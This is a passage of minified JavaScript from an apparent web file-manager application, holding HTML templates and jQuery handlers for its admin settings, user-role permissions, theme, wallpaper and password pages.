icon-plus"></i></a>\n\n <a href="javascript:void(0);" class="font-icon-label title_tooltip" title="{{LNG.open_the_path}}" data-action="group_home" >\n <i class="font-icon icon-folder-open"></i></a>\n <span class="group_size">111/1.5</span>\n </div>\n </div>\n <div class="content user_liser_content">\n </div>\n </div>\n <!-- content_system_group end -->\n\n <div class="right_frame" id="content_system_role">\n <div class="header_content">\n <div class="group_title">\n <span class="role_title"></span>\n <span class="label label-info" style="font-size: 12px;">id:<em class="role_id"></em></span>\n <a href="javascript:void(0);" class="font-icon-label" data-action="role_delete" ><i class="font-icon icon-trash"></i></a>\n </div>\n </div>\n\n <div class="section group_editor">\n <div class="together input">\n <div class="title"><i>{{LNG.group_name}}</i></div>\n <input type="text" id=\'name\' data-before=""/>\n <a href="javascript:;" class="button warning" \n title=\'{{LNG.group_tips}}\' title-timeout="100"><i class="icon-warning-sign"></i>{{LNG.tips}}!</a>\n <div style="clear:both;"></div>\n\n <div class="title"><i>{{LNG.group_role_ext}}</i></div>\n <input type="text" id=\'ext_not_allow\' default=\'php|asp|jsp\' value="php|asp|jsp"/>\n <a href="javascript:;" class="button warning path_ext_tips" \n title=\'{{LNG.group_role_ext_warning}}\' title-timeout="100"><i class="icon-warning-sign"></i>{{LNG.tips}}!</a>\n <div style="clear:both;"></div>\n </div>\n <div class="together">\n <div class="title" style="height:75px"><i>{{LNG.group_role_file}}</i></div>\n <div class="tagdiv">\n <a class="tag" href="javascript:;" data-role=\'explorer:mkfile;app:user_app\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_mkfile}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:mkdir\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_mkdir}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:pathRname\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathrname}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:pathDelete\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathdelete}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:pathInfo;explorer:pathInfoMuti\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathinfo}}</span>\n </a>\n\n <a class="tag" href="javascript:;" data-role=\'explorer:pathCopy;explorer:pathCute;explorer:pathCuteDrag;explorer:clipboard;explorer:pathPast\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathmove}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:zip\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_zip}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:unzip\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_unzip}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:search\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_search}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'editor:fileSave\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_filesave}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n <div style="clear:both;"></div>\n </div>\n <div class="together">\n <div class="title"><i>{{LNG.group_role_can_upload}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'explorer:fileUpload\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_upload}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:serverDownload\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_download}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:fileDownload\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_fileDownload}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'userShare:set;userShare:del\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_share}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n\n <div class="together">\n <div class="title"><i>{{LNG.group_role_config}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'user:changePassword\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_passowrd}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'setting:set\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_config}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'fav:edit;fav:add;fav:del\'>\n <input type="checkbox" id="23" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_fav}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n\n <div class="together combox">\n <div class="title"><i>{{LNG.system_member_action}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'system_member:get\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_list}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_member:add\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_add}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_member:edit\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_edit}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_member:do_action\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_del}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n <div class="together combox">\n <div class="title"><i>{{LNG.system_group_action}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'system_group:get\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_list}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_group:add\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_add}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_group:edit\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_edit}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_group:del\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_del}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n\n <div class="form_row from_row_submit">\n <button class="btn btn-primary role_save_button" data-action="role_edit_save">{{LNG.button_save_submit}}</button>\n <button class="btn btn-link revert" data-action="revert_all">{{LNG.button_select_all}}</button>\n </div>\n </div>\n\n </div>\n <!-- content_system_role end -->\n</div>\n</div><!-- 父元素结束 -->\n\n\n'),define("app/src/setting/page/system.html",[],'<div class="nav">\n <a href="javascript:;" class="this" data-page="setting">{{LNG.system_setting}}</a>\n <a href="javascript:;" class="" data-page="setting_menu">{{LNG.system_setting_menu}}</a>\n <a href="javascript:;" class="" data-page="setting_system_others">{{LNG.others}}</a>\n <div style="clear:both;"></div>\n</div>\n\n{{if G.is_root}}\n <div class="setting_tools_right">\n {{if core.versionType !="A"}}\n <button class="fl-right btn btn-default btn-sm system_setting_more">{{LNG.more}}</button>\n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[core.versionType] }}{{/if}}\n <span class="version_vip" id="{{verKey}}"><i class="font-icon icon-key"></i>{{LNG[verKey]}}</span>\n </div>\n{{/if}}\n\n\n<div class="panel panel-default setting system_setting">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_name}}:</div>\n <div class="setting_content">\n <input type="text" name="system_name" value="{{data.system_name | window.htmlEncode}}" /><i class="desc">{{LNG.system_name_desc}}</i>\n <button class="btn btn-default btn-sm" style="margin-left:20px;" onclick="core.update();">{{LNG.check_update}}</button>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_desc | window.htmlEncode}}:</div>\n <div class="setting_content">\n <input type="text" name="system_desc" value="{{data.system_desc}}" /><i class="desc">{{LNG.system_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.path_hidden}}:</div>\n <div class="setting_content">\n <input type="text" name="path_hidden" value="{{data.path_hidden}}" /><i class="desc">{{LNG.path_hidden_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.new_user_folder}}:</div>\n <div class="setting_content">\n <input type="text" name="new_user_folder" value="{{data.new_user_folder}}" /><i class="desc">{{LNG.new_user_folder_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.new_user_app}}:</div>\n <div class="setting_content">\n <input type="text" name="new_user_app" value="{{data.new_user_app}}"/><i class="desc">{{LNG.new_user_app_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.auto_login}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" name="auto_login" {{if data.auto_login==\'1\'}}checked="checked"{{/if}} /><em></em>\n <i style="width:450px;">{{#LNG.auto_login_desc}}</i>\n </label>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.need_check_code}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" name="need_check_code" {{if data.need_check_code==\'1\'}}checked="checked"{{/if}} /><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.first_in}}:</div>\n <div class="setting_content">\n <label><input type="radio" name="first_in" value="desktop" class="kui-radio"\n {{if data.first_in==\'desktop\'}}checked="checked"{{/if}}/>\n <span>{{LNG.ui_desktop}}</span>\n </label>\n <label><input type="radio" name="first_in" value="explorer" class="kui-radio"\n {{if data.first_in==\'explorer\'}}checked="checked"{{/if}}/>\n <span>{{LNG.ui_explorer}}</span>\n </label>\n <label><input type="radio" name="first_in" value="editor" class="kui-radio"\n {{if data.first_in==\'editor\'}}checked="checked"{{/if}}/>\n <span>{{LNG.ui_editor}}</span>\n </label>\n </div>\n </div>\n\n <div class="form_row line"></div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_setting_root_path}}:</div>\n <div class="setting_content can_select can_right_menu">\n <i>{{LNG.system_setting_root_path_desc}}</i>\n </div>\n </div>\n\n\n <!-- 提交 -->\n <div class="form_row from_row_submit">\n <div class="setting_content">\n <button class="btn btn-primary system_save">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n\n <div class="alert alert-warning hidden check_evn_error can_select can_right_menu" role="alert">\n <a href="#" class="close" data-dismiss="alert">&times;</a>\n <div class="pl-10">\n <h3>{{LNG.php_env_error}}<a href="javascript:;" class="button warning phpinfo"><i class="icon-warning-sign"></i>phpinfo</a></h3>\n <div class="error_content"></div>\n </div>\n </div>\n</div>\n\n\n<div class="panel panel-default setting_menu hidden">\n <table id="list" align="center" border="0" cellspacing="0" cellpadding="0">\n <tbody>\n <tr class="title">\n <td width="10%">{{LNG.menu_name}}</td>\n <td>{{LNG.url_path}}<span>({{LNG.url_path_desc}})</span></td>\n <td>{{LNG.action}}</td>\n </tr>\n\n {{if data.menu.push({\'name\':\'\',\'type\':\'\',\'url\':\'\',\'target\':\'_blank\',\'use\':\'1\'}) }}{{/if}}\n {{each data.menu as value key}}\n {{if menu_system = value[\'type\'] == \'system\' ? \'menu_system\':\'\'}}{{/if}}\n {{if menu_show = value[\'use\'] == \'1\' ? \'menu_show\':\'menu_hidden\'}}{{/if}}\n {{if menu_add = value[\'name\'] == \'\' ? \'menu_default hidden\':\'\'}}{{/if}}\n <tr class="menu_list {{menu_system}} {{menu_show}} {{menu_add}}">\n <td class="name"><input type="text" name="name" value="{{value.name | menu_info_decode}}"/>\n <span>{{if LNG[\'ui_\'+value[\'name\']]}} {{LNG[\'ui_\'+value[\'name\']]}} {{else}} null {{/if}}</span>\n </td>\n <td class="url">\n <input type="text" name="url" value="{{value.url | menu_info_decode}}">\n <span>{{value.name}}</span>\n <label>\n <input type="checkbox" name="target" class="kui-checkbox size-small" value="{{value.target}}"\n {{if value.target==\'_blank\'}}checked="checked"{{/if}}/>\n <span>{{LNG.menu_open_window}}</span>\n </label>\n </td>\n <td class="action">\n <button class=\'btn btn-default btn-sm move_up\'><i class="font-icon icon-arrow-up"></i></button>\n <button class=\'btn btn-default btn-sm move_down\'><i class="font-icon icon-arrow-down"></i></button>\n <button class=\'btn btn-default btn-sm move_hidden\'>\n {{if value.use==\'1\'}} {{LNG.menu_hidden}} {{else}} {{LNG.menu_show}} {{/if}}\n </button>\n <button class=\'btn btn-default btn-sm move_del\'>{{LNG.menu_move_del}}</button>\n </td>\n </tr>\n {{/each}}\n </tbody>\n </table>\n \n <a href="javascript:void(0)" class="add system_menu_add "><i class="icon-plus pr-10"></i>{{LNG.button_add}}</a>\n <div class="form_row">\n <button class="btn btn-primary system_menu_save">{{LNG.button_save}}</button>\n </div>\n</div>\n\n\n\n<div class="panel panel-default setting_system_others hidden">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_show_share_user}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" \n name="root_list_user" {{if data.root_list_user==\'1\'}}checked="checked"{{/if}} /><em></em>\n <i class="">{{LNG.setting_show_share_user_desc}}</i>\n </label>\n </div>\n </div>\n\n {{if core.versionType !="A"}}\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_show_root_group}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" \n name="root_list_group" {{if data.root_list_group==\'1\'}}checked="checked"{{/if}} /><em></em>\n <i class="">{{LNG.setting_show_root_group_desc}}</i>\n </label>\n </div>\n </div>\n {{/if}}\n\n <div class="form_row line"></div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.action}}:</div>\n <div class="setting_content">\n <button class="btn btn-warning mr-20" system-tools="clear_cache">{{LNG.setting_clear_cache}}</button>\n <button class="btn btn-warning mr-20" system-tools="clear_user_recycle">{{LNG.setting_clear_user_recycle}}</button>\n <!-- <button class="btn btn-warning mr-20" system-tools="clear_session">清空session</button> -->\n </div>\n </div>\n <div class="form_row line"></div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_icp}}:</div>\n <div class="setting_content">\n <input type="text" name="global_icp" value="{{data.global_icp}}" />\n <i class="desc"></i>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_global_css}}:</div>\n <div class="setting_content">\n <textarea name="global_css">{{data.global_css}}</textarea>\n <i class="desc">{{LNG.setting_global_css_desc}}</i>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_global_html}}:</div>\n <div class="setting_content">\n <textarea name="global_html">{{data.global_html}}</textarea>\n <i class="desc">{{LNG.setting_global_html_desc}}</i>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row from_row_submit">\n <div class="setting_content">\n <button class="btn btn-primary system_others_save">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n\n</div>\n'),define("app/src/setting/page/theme.html",[],'<div class="section">\n <div class=\'box\' data-type="theme">\n {{each data.setting_all.themeall.split(\',\') as value key}}\n <div class=\'{{if value==data.user.theme}}this{{/if}} list\' data-value=\'{{value}}\'>\n <div class=\'theme ico\'><img src=\'{{G.static_path}}images/thumb/theme/{{value}}.png\'/></div>\n <div class=\'info\'>{{#LNG[\'theme_\'+value]}}</div>\n </div>\n {{/each}}\n <div style="clear:both;"></div>\n </div>\n</div>\n\n{{if config = G.user_config.theme_diy}}{{/if}}\n<div class="theme_diy_setting panel panel-default {{if G.user_config.theme!=\'diy\'}}hidden{{/if}}">\n <div class="panel-heading"><h3 class="panel-title">{{LNG.theme_diy_title}}</h3></div>\n <div class="panel-body">\n <div class="form_row theme_bg_type">\n <div class=\'setting_title\'>{{LNG.theme_diy_background}}:</div>\n <div class="setting_content">\n <label><input type="radio" class="kui-radio" name="bg_type" value="image" \n {{if config.bg_type == \'image\'}}checked="checked"{{/if}} />\n <span>{{LNG.theme_diy_image}}</span>\n </label>\n <label><input type="radio" class="kui-radio" name="bg_type" value="color" \n {{if config.bg_type == \'color\'}}checked="checked"{{/if}} />\n <span>{{LNG.theme_diy_color_blur}}</span>\n </label>\n </div>\n </div>\n\n <div class="theme_bg_type_image {{if config.bg_type != \'image\'}}hidden{{/if}}">\n <div class="form_row theme_bg_blur">\n <div class=\'setting_title\'>{{LNG.theme_diy_image_blur}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="bg_blur" {{if config.bg_blur==\'1\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n <div class="form_row theme_bg_image">\n <div class=\'setting_title\'>{{LNG.theme_diy_image_url}}:</div>\n <div class="setting_content file_select_input">\n <input type="text" name="bg_image" value="{{config.bg_image}}"/> \n <button class="path_select btn btn-default btn-right"><i class="font-icon icon-folder-open"></i></button>\n <img class="randomImage" src="{{G.static_path+\'images/common/desktop/fengche.png\'}}" title="{{LNG.setting_wall}}"/>\n </div>\n </div>\n </div>\n\n <div class="theme_bg_type_color {{if config.bg_type != \'color\'}}hidden{{/if}}">\n <div class="form_row ">\n <div class=\'setting_title\'>{{LNG.theme_diy_color_start}}:</div>\n <div class="setting_content">\n <input type="text" name="start_color" class="color_picker" value="{{config.start_color}}"/>\n </div>\n </div>\n <div class="form_row ">\n <div class=\'setting_title\'>{{LNG.theme_diy_color_end}}:</div>\n <div class="setting_content">\n <input type="text" name="end_color" class="color_picker" value="{{config.end_color}}"/>\n </div>\n </div>\n <div class="form_row ">\n <div class=\'setting_title\'>{{LNG.theme_diy_color_radius}}:</div>\n <div class="setting_content">\n <input type="text" name="color_rotate" id = "colorRotate"\n data-slider-id=\'colorRotateSlider\' \n data-slider-min="0"\n data-slider-max="360"\n data-slider-step="1"\n data-slider-value="{{config.color_rotate}}"/>\n </div>\n </div>\n\n <div class="color_default">\n <div class="color_list" data-color=\'{"start_color":"#93ad34","end_color":"#198a62","color_rotate":"310"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#5648c1","end_color":"#6fe3e7","color_rotate":"160"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#7b4397","end_color":"#2b85a6","color_rotate":"300"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#860073","end_color":"#4f1670","color_rotate":"300"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#248556","end_color":"#16226e","color_rotate":"165"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#d16645","end_color":"#13052e","color_rotate":"195"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#d23c39","end_color":"#dca74a","color_rotate":"320"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#7f7280","end_color":"#000000","color_rotate":"160"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#77cfa0","end_color":"#0c2b50","color_rotate":"330"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#29c0db","end_color":"#1178c2","color_rotate":"300"}\'></div>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row">\n <div class=\'setting_title\'></div>\n <div class="setting_content">\n <button class="theme_diy_save btn btn-primary">{{LNG.button_save}}</button>\n </div>\n </div>\n\n </div>\n</div>\n'),define("app/src/setting/page/user.html",[],'<div class="nav">\n <a href="javascript:;" class="this" data-page="setting_basic">{{LNG.setting_basic}}</a>\n <a href="javascript:;" class="" data-page="setting_menu">{{LNG.setting_password}}</a>\n <div style="clear:both;"></div>\n</div>\n\n<div class="panel panel-default setting_basic system_setting user_config_setting">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.recycle_open_if}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="recycle_open"\n {{if data.user.recycle_open==\'1\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_user_animate_open}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="animate_open"\n {{if data.user.animate_open !=\'0\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_user_sound_open}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="sound_open"\n {{if data.user.sound_open ==\'1\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.upload_exist}}:</div>\n <div class="setting_content">\n <label>\n <input type="radio" class="kui-radio" name="file_repeat" value="rename" {{if data.user.file_repeat==\'rename\'}}checked="checked"{{/if}}/>\n <span>{{LNG.upload_exist_rename}}</span>\n </label>\n <label>\n <input type="radio" class="kui-radio" name="file_repeat" value="replace" {{if data.user.file_repeat==\'replace\'}}checked="checked"{{/if}}/>\n <span>{{LNG.upload_exist_replace}}</span>\n </label>\n <label>\n <input type="radio" class="kui-radio" name="file_repeat" value="skip" {{if data.user.file_repeat==\'skip\'}}checked="checked"{{/if}}/>\n <span>{{LNG.upload_exist_skip}}</span>\n </label>\n <div style="clear:both"></div>\n </div>\n </div>\n </div>\n</div>\n\n\n<div class="panel panel-default setting_menu hidden">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_password_old}}:</div>\n <div class="setting_content"><input type="password" id="password_now"value="" /></div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_password_new}}:</div>\n <div class="setting_content"><input type="password" id="password_new" value=""/></div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row">\n <div class=\'setting_title\'></div>\n <div class="setting_content">\n <button onclick="Setting.tools();" class="btn btn-primary save">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n</div>\n'),define("app/src/setting/page/wall.html",[],'<div class="section">\n <div class=\'box\' data-type="wall">\n {{each data.setting_all.wallall.split(\',\') as value key}}\n <div class=\'{{if value==data.user.wall}}this{{/if}} list\' data-value=\'{{value}}\'>\n <div class=\'ico\'><img src=\'{{G.static_path}}images/wall_page/thumb/{{value}}.jpg\'/></div>\n </div>\n {{/each}}\n <div style="clear:both;"></div>\n </div>\n</div>\n\n\n<div class="panel panel-default">\n <div class="panel-heading"><h3 class="panel-title">{{LNG.setting_wall_diy}}</h3></div>\n <div class="panel-body">\n <div class="form_row theme_bg_image">\n <div class=\'setting_title\'>URL:</div>\n <div class="setting_content file_select_input">\n <input type="text" id="wall_url" {{if data.user.wall.length>3}}value="{{data.user.wall}}"{{/if}}/> \n <button class="path_select btn btn-default btn-right"><i class="font-icon icon-folder-open"></i></button>\n <img class="randomImage" src="{{G.static_path+\'images/common/desktop/fengche.png\'}}" title="{{LNG.setting_wall}}"/>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row">\n <div class=\'setting_title\'></div>\n <div class="setting_content">\n <button onclick="Setting.tools();" class="btn btn-primary">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n</div>\n'),define("app/src/setting/system/system_setting",[],function(){var e=function(){$("input[name='first_in']").live("click",function(){$("input[name='first_in']").removeAttr("checked"),$(this).attr("checked","checked") +}),$(".system_save").die("click").live("click",function(){var e={};$(".system_setting .form_row [name]").each(function(){var t=$(this);if("checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}else"radius"!=t.attr("type")&&(e[t.attr("name")]=urlEncode(t.val()))}),e.first_in=$("input[name='first_in'][checked]").val(),n(e)}),$(".system_setting_more").die("click").live("click",function(){if(G.is_root){var e=G.basic_path+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}}),t(),i(),a()},t=function(){$(".phpinfo").die("click").live("click",function(){$.dialog.open("./index.php?setting/php_info&access_token="+G.access_token,{title:"php_info",width:"70%",height:"65%",resize:!0})}),$.get("index.php?setting/slider&slider=system&env_check=1",function(e){if(e&&""!=e.data){Tips.tips(e.data,"warning");var t=$(".check_evn_error");t.removeClass("hidden"),t.find(".error_content").html(e.data)}})},i=function(){$('.setting_menu .menu_list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting_menu .system_menu_add").die("click").live("click",function(){var e=$(".menu_default").clone().removeClass("menu_default hidden").addClass("menu_list");e.insertAfter(".setting_menu .menu_list:last")}),$(".setting_menu .menu_list .move_up").die("click").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu_list")&&e.insertBefore(e.prev())}),$(".setting_menu .menu_list .move_down").die("click").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu_list")&&e.insertAfter(e.next())}),$(".setting_menu .menu_list .move_hidden").die("click").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu_hidden")?(e.removeClass("menu_hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu_hidden"),$(this).text(LNG.menu_show))}),$(".setting_menu .menu_list .move_del").die("click").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system_menu_save").die("click").live("click",function(){var e=[];$(".setting_menu .menu_list").each(function(){var t=$(this),i={};t.hasClass("menu_default")||(t.find("input").each(function(){i[$(this).attr("name")]=urlEncode($(this).attr("value"))}),""!=i.name&&(i.use="1",i.type="",t.hasClass("menu_hidden")&&(i.use="0"),t.hasClass("menu_system")&&(i.type="system"),e.push(i)))}),n({menu:e})})},a=function(){$(".system_others_save").die("click").live("click",function(){var e={};$(".setting_system_others .form_row [name]").each(function(){var t=$(this);if(e[t.attr("name")]=urlEncode(t.val()),"checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}}),n(e)}),$("[system-tools]").die("click").live("click",function(){var e=$(this),t=e.attr("system-tools"),i=htmlRemoveTags(e.html());e.addClass("disabled").html(LNG.loading),Tips.loading(LNG.loading),$.ajax({url:"index.php?setting/system_tools&action="+t,dataType:"json",error:function(t,a,n){core.ajaxError(t,a,n),Tips.close(LNG.error,!1),e.removeClass("disabled").html(i)},success:function(t){Tips.close(t),setTimeout(function(){e.removeClass("disabled").html(i)},300)}})})},n=function(e){$.ajax({url:"index.php?setting/system_setting",type:"POST",data:"data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};1==G.is_root&&e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./system_member","./system_group","./system_role","./system_group_role"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var t=e("./system_member"),i=e("./system_group"),a=e("./system_role"),n=e("./system_group_role"),o=function(){s("system_group"),r(),n.init(function(){a.init(),i.init()})},s=function(e){$(".system_conennt .this").removeClass("this"),$(".system_conennt #"+e).addClass("this"),$(".left_content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right_frame").addClass("hidden"),$("#content_"+e).removeClass("hidden")},r=function(){$(".left_header .tab").die("click").live("click",function(){var e=$(this).attr("id");s(e)})},l=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},c=function(e){var t=G.user_path+e.path+"/home/";e.group_id&&(t=G.group_path+e.path+"/home/"),e.home_path&&(t=e.home_path),window.parent&&window.parent.Config&&"explorer"==window.parent.Config.pageApp?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:o,sizeUse:l,openPath:c,dataList:core.tools.systemData,systemMember:t,systemGroup:i,systemRole:a,systemGroupRole:n}}),define("app/src/setting/system/system_member",[],function(e){var t,i,a=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:"./index.php?system_member/get",dataType:"json",success:function(i){return i.code?(t=System.dataList(i,"member"),n(e),void 0):(Tips.tips(i),void 0)},error:function(){return!1}}),void 0)},n=function(a){(""==a||void 0==a)&&(a=i),i=a;var n=e("./tpl/user_list.html"),o=template.compile(n),s=o({LNG:LNG,select_group:a,user_list:t,group_role_list:System.systemGroupRole.getList(),group_list:System.systemGroup.getList(),role_list:System.systemRole.getList()});$(".user_liser_content").html(s),$(".button_aciton_muti button").addClass("disabled"),System.sizeUse($("#content_system_group .user_list_cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,status_set:"",role_set:LNG.system_member_set_role,group_reset:"",group_remove_from:LNG.system_member_remove_group,group_add:""},r=function(){$.ajax({url:"./index.php?system_member/do_action&action="+e,type:"POST",data:"user_id="+jsonEncode(n)+"&param="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list.share_dialog&&$.dialog.list.share_dialog.close(),t=void 